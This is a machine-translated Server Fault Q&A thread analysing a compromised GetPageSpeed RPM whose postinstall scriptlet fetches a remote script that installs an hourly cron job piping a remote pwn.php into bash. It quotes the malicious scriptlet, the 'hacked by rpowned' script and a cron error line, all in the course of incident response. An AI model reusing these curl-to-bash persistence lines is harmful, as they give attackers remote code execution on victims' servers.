이 RPM을 설치하면 파일이 어떻게 만들어 졌습니까?


16

실행은 yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm생성 /etc/cron.d/sysstat2하지만, RPM 파일을 거부한다 :

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM은 어떻게 파일을 만들었으며 다른 파일을 어떻게 볼 수 있습니까?


4
그렇다면이 GetPageSpeed ​​사용자가 소유하고 있으며이를 모르거나 잘못된 RPM을 게시하고 있습니까?
Aaron Copley

1
3 개월 전에 사이트에서 설치 한 RPM이 좋았습니다. 악의적 인 것이 어제 게시되었습니다. 나는 그들이 소유하고 있다고 생각하고, 그들의 레포를 사용하는 사람은 누구나 소유하고 있습니다. 악의적 인 것은 yum 업데이트를 통해 내려오고 있습니다. 문의 양식을 통해 이메일과 메시지를 보냈습니다.
파스칼

그리고 그들도 서명 했습니까?
아론 코플리

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpm원본 파일이며 저장소에 여전히 오래된 날짜가 있으며 그 gpgcheck=1안에 설정되어 있습니다.
파스칼

1
어떤 종류의 응답을 받는지 YMMV를 통해 웹 관리자 인 sayitwithagift.com에 문의하십시오. 웹 사이트 자체가 응답하지 않았으므로 한 번 웹 사이트 호스팅 공급자를 통해 잘못된 메일 서버에 대해 문의했습니다.
Darren

답변:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php 포함한다 :

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

rpm의 스크립트가 인터넷에서 스크립트를 실행하는 것을 발견했으며 해당 스크립트는 현재 맬웨어 일 수있는 것으로 리디렉션됩니다. 비록 나는 아무것도하는 페이로드를 많이 찾지 못했습니다.

rpm은 임의의 스크립트를 실행하고 있기 때문에 발생한 문제를 완전히 추적 할 수 없습니다.

gpgcheck는 당신에게 도움이되지 않습니다, getpagespeed-extras-7-6.el7.gps.noarch.rpm그리고 getpagespeed-extras-release-7-1.el7.gps.noarch.rpm당신과 연결된 모두 유효한 서명이있는 것으로 보입니다 :

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

패키지가 인터넷에서 임의의 코드를 실행한다고 repo 소유자에게 불평하십시오. 그렇게해야하는 경우 소프트웨어 공급망 보안을 개선해야합니다.

인터넷에 액세스하지 않고 소프트웨어를 처음 설치하거나 "설치 후"스크립트를 수동으로 검사하는 것은 약간 편집증적인 것 같습니다. 그러나 불행히도 패키지가 이와 같이 잘못된 조언을한다면 거의 필요해 보입니다.


페이로드는 매시간 ' sayitwithagift.com/pwn.php ' 를 다운로드하여 실행하는 크론 작업입니다 . 현재는 없지만 언제든지 변경 될 수 있습니다. RPM을 제거해도 페이로드가 제거되지 않습니다.
파스칼

원래 RPM에는 설치 후 스크립틀릿이 없었습니다. 어제 업로드 된 버전 만 (아마도 해커에 의해) 업데이트됩니다.
파스칼

1
인터넷 코드 실행 프로그램에서의 추가가 합법적 인 아이디어인지 또는 맬웨어 승무원이 추가했는지 확실하지 않습니다. 후자는 서명 및 업로드 프로세스가 손상되었음을 의미하기 때문에 훨씬 더 나쁩니다.
John Mahowald

1

Engintron을 통해 Nginx를 사용하는 데 5 개의 CLoudLinux / cPanel 서버가 있지만 이제는 LiteSpeed ​​웹 서버를 대신 실행합니다. 나는 Engintron이 제거되었을 때 pagepped repos를 남겨두고 있다고 생각합니다. cPanel은 매일 밤 업데이트 확인을 실행하며 자정 쯤이면 모든 서버에서 전자 메일보고를 보냈습니다.

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

페이로드 사이트를 검색하면 같은 날 같은 문제가 있음을 알 수 있습니다. 내 정보를 귀하의 정보에 추가하십시오. /etc/cron.d/sysstat2모든 서버에 동일한 파일이 존재했습니다.

파일을 삭제하고 저장소를 제거한 다음 GetPageSpeed에서 문의 양식을 사용하여 문제를보고했습니다. 건강 문제로 인해 repo를 종료한다고 블로그 게시물이 있었으므로 Repo의 소유자는 AWOL 일 수 있습니다. 따라서 침입자는 리포가 관심을 끌지 않는다는 사실을 이용하거나 악용 할 수있는 기회를 찾을 수 있습니다.


1
리포지토리 종료에 대한 메시지는 손상된 이메일을받은 후 게시되었습니다. 나는 그에게 repo를 다시 열고 업데이트 된 패키지를 게시하여 제거하도록 요청했다 /etc/cron.d/sysstat2. 그는 그렇게했습니다.
파스칼
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.